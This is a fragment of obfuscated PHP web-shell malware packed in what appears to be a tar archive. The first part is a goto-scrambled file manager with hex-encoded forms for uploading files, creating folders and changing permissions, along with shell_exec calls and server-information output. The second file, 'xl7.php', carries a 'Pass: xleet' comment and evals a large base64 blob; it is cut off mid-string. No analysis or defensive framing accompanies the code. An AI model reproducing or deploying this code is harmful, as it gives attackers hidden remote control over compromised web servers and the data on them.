0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo "\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . "\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo "\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }11/xl7.php000077700000215435151514460360006236 0ustar00<?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWMGtxVFNYbmR0WXpzQ0xCUTBCdU5IQzcrOTJENEdGeG1kMjIramFJRUNQeUU0QjJVdWQ2ZWdGdlFxQ1d6RjhGcEdDMERvSmtJVlpVcDVUanJEN1ZPZ2MweVZDdGtPbVZScDJnWE9mZ04zc3NNS3hlTzY0RVlPVm91dWd0VjJBY3RQTnlQMmI0b3Z1eDBUMXlnMUY0WlZ2bWo2YjQ4RUxZdVRuRXVNYkJxblQ1eW91eXJvM2k4ZENGWWpDaGFJSDdCRVVBZWlENkNUaE5PY0VLVjJaN2g5eDlsUER0QUNlc1gyRTY5OXV4Mk9LVml0SElnd0Z0aXhsVURrU2JSNUpsc3hUOHF5c05ZdVBqWkkyQm40V0hzOGl3R0lLV3dKdFhqbFZQMVdObWtDWnlkcU9SRXNjeGpvZjI1b0JDZDdFMnBPd213SzZjZGR6QVB4Q3ZCQlgzSWUwS1FDUkd3U1hDY09vWUY3TXJQV29rTndZUlk4Q2prd2VwNzBTUFVQbEdFK1RNd0RjZTlsT2M1d2ZJSmtyRXkzeUoyVkFIWEdoTXlnTzJRcGRjdE5JT1d0TWJ1dVdZc0ZhWDBLbFJjaDBoWnI4WVNkWHg1d05MVFhSbmFpeHVva1JqQ21xdm5BT3dXbGRDellBRGtvKzcydEhvVlJuWHJzN0JkK2dKYWJsNDdhcEplR2g4TG1Vcy9YNWVTWjJDNGRpN05qaDFrWkVlV0NnSStEZlhwY3g0QkZLNEhTYWFiTWFCdyt1ZTVYcjdCQWFtbWhNWXJUcWhXZm0yMXpkN1dCdXpRVlJ3WWs0SUlEY2VlZE9FaXR4QWxwamNISnZDeXJtakJZbFd5SnozRUR4TzJXeEhFckpqVFkzY2VORGpsRFRweEZoSU0vcDVXbDhibGhCMVhLRDg1YXdmTENwQ05LckFOOElDVDYza2hKL1ltVUpQWG5PRXZmazZSYlZGMXdNWW1DSFphdlM2UVA5TEN5M205Z2M3ZnY4cjhhVDIvd3dXcDY4UkpGK3hVbS9KQXJVVm9HdUZ1VzJoaUhndUxRU1d1QlY3ZE9RTEFHOVJBUnVpbUJKMXNxL2dWa1l4V0pFN0JGKytud1MydndNS1QvVVNyTlR6Vjc4cEgrd0xzSVV4aWgwNFJTMDFUTk1tUjBRN3g2RzVXREJiSmRXZEgyY2d1blpCZVFKaDZmK0VEcXdEV3Fqc0JwdWxKczRLeG5QS3I4SkVYK1BYMlVKNjlDWkdCdjhSL1FwcVpHUTY5OXZEeDlaK0tlazMwTmdnYjh3c1krNXBTNUNmcGxscCtsNGRPSEtGQUJORGttdmRGUWNOaDR3eVJ3R0FtUVBZcnBBcHhMTGpHV1Qyei9kQ1Z1dmdDNDg2MDFScjdBY29LZGxidmhXZUpERXVEb0tsay91d2hBcG13c0Zzd0FKVFdDRmkrWjF3TTNhd2F5QlFKR1JBenVJV0JHeFZDbEZEVWtRL1k0OFZ2bHpUN0d6NlNmeFVZZy9DREJSOWZoQ29qdUU3UXFYSG1TeCthTXExdXkyMUhHdlNIaW1HVzlyRVlFZWFwS1RyemUxUDBJTlg1MFdhMHpxVmNHdkxoVnpvS0xKUnl1TWpob3Noc1I4eEp6aWVCN2ZYQ0Z6cDRIVkhFeDhndGtocnYwTXppN0RqSGNoczJNYWM2cHAzclU0TzFVSjhtRUFRWnNRK0l2aHFpTVpPZ2M4L2VhYmZ5RFBmanNIS1gyR2F1R1htVzR3clEyRUtEM3pDeW1MSTNNN3NnUGdFOFE3cTlRR